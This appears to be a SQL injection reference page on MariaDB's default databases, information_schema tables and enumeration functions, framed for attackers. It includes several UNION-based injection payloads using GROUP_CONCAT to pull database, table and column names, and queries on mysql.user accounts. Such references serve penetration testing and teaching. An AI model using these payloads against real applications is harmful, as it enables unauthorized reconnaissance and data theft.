mariadb

Default Databases

Information about MariaDB's default database systems

MariaDB comes with several default databases that can be useful during SQL injection attacks.

DatabaseDescription
mysqlSystem database (requires root privileges)
information_schemaMetadata about all databases and tables
performance_schemaPerformance monitoring data
sysSystem schema (MariaDB 10.2+)

The information_schema database contains metadata about all databases and tables on the server, making it a valuable resource for an attacker who has gained access to it.

Listing All Databases

-- Using SHOW DATABASES
SHOW DATABASES

-- Using information_schema
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA

Key information_schema Tables

TableDescription
SCHEMATAAll databases on the server
TABLESAll tables across all databases
COLUMNSAll columns in all tables
ROUTINESStored procedures and functions
USER_PRIVILEGESUser privilege information
PROCESSLISTCurrently running processes

Example Queries

-- List all tables in current database
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE()

-- List all columns for a specific table
SELECT COLUMN_NAME, DATA_TYPE, COLUMN_TYPE
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'users'

-- Using SHOW commands
SHOW TABLES
SHOW COLUMNS FROM users
DESCRIBE users

mysql Database Tables

The mysql database contains system tables. Access requires appropriate privileges.

TableDescription
userUser accounts and global privileges
dbDatabase-level privileges
tables_privTable-level privileges
columns_privColumn-level privileges
procStored procedures (MariaDB maintains this)
-- Get user accounts (requires privileges)
SELECT Host, User FROM mysql.user

-- Check if accessible
SELECT COUNT(*) FROM mysql.user

Database Enumeration Functions

-- Get current database name
SELECT DATABASE()
SELECT SCHEMA()  -- Alias for DATABASE()

Current User Functions

MariaDB provides multiple functions to retrieve user information:

-- Get current user with privilege context
SELECT CURRENT_USER()

-- Get authenticated user connection information
SELECT USER()

Both functions are useful during reconnaissance but serve different purposes:

  • CURRENT_USER() returns the account used to check privileges (may differ due to account matching)
  • USER() returns the user name and host provided by the client

Metadata Extraction via UNION Injection

Extract Database Names

-- In UNION injection context
' UNION SELECT 1, SCHEMA_NAME FROM information_schema.SCHEMATA -- -

Extract Table Names

-- Get all tables in current database
' UNION SELECT 1, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() -- -

Extract Column Names

-- Get columns for specific table
' UNION SELECT 1, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'users' -- -

Extract Concatenated Data

-- Get table.column format
' UNION SELECT 1, CONCAT(TABLE_NAME, '.', COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() -- -

GROUP_CONCAT for Data Aggregation

GROUP_CONCAT aggregates multiple rows into a single string, useful for extracting multiple values in one query.

-- Get all database names in one result
SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

-- Get all table names in current database
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE()

-- Get all column names for a table
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'users'

-- Custom separator
SELECT GROUP_CONCAT(SCHEMA_NAME SEPARATOR '|') FROM information_schema.SCHEMATA

In UNION Injection

GROUP_CONCAT can be especially powerful in UNION-based SQL injection to extract multiple values in a single result:

-- Extract all table names in one result
' UNION SELECT 1, GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() -- -

-- Extract all database names
' UNION SELECT 1, GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA -- -

-- Extract all columns for a specific table
' UNION SELECT 1, GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'users' -- -

Cross-Database Queries

MariaDB allows querying tables across databases using fully qualified names:

-- Query information_schema from any database
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES LIMIT 5

-- Access mysql.user if privileged
SELECT Host, User FROM mysql.user

-- Fully qualified syntax: database.table
SELECT * FROM information_schema.SCHEMATA

MariaDB-Specific Features

mysql.proc Table

Unlike MySQL 8.0 which removed mysql.proc, MariaDB maintains this table:

-- Check stored procedures (MariaDB-specific)
SELECT * FROM mysql.proc

INFORMATION_SCHEMA.SYSTEM_VARIABLES

MariaDB provides access to system variables via information_schema:

-- Get system variables
SELECT VARIABLE_NAME, VARIABLE_VALUE
FROM information_schema.SYSTEM_VARIABLES
WHERE VARIABLE_NAME = 'version'

INFORMATION_SCHEMA.PLUGINS

-- List active plugins
SELECT PLUGIN_NAME, PLUGIN_STATUS
FROM information_schema.PLUGINS
WHERE PLUGIN_STATUS = 'ACTIVE'

Sequences (MariaDB 10.3+)

MariaDB 10.3+ supports sequences with metadata in information_schema:

-- Check if SEQUENCES table exists
SELECT TABLE_NAME FROM information_schema.TABLES
WHERE TABLE_SCHEMA = 'information_schema' AND TABLE_NAME = 'SEQUENCES'

Aria Storage Engine

Aria is MariaDB’s crash-safe storage engine (replacement for MyISAM):

SHOW ENGINE ARIA STATUS

Version Identification

-- @@version contains "MariaDB" identifier
SELECT @@version
-- Example: 10.6.24-MariaDB

-- Version comment shows MariaDB foundation
SELECT @@version_comment

Differences from MySQL

FeatureMariaDBMySQL 8.0
mysql.proc tableExistsRemoved
SYSTEM_VARIABLES viewIn information_schemaIn performance_schema
sys databaseAvailable (10.2+)Available
Sequences supportYes (10.3+)No
Aria storage engineYesNo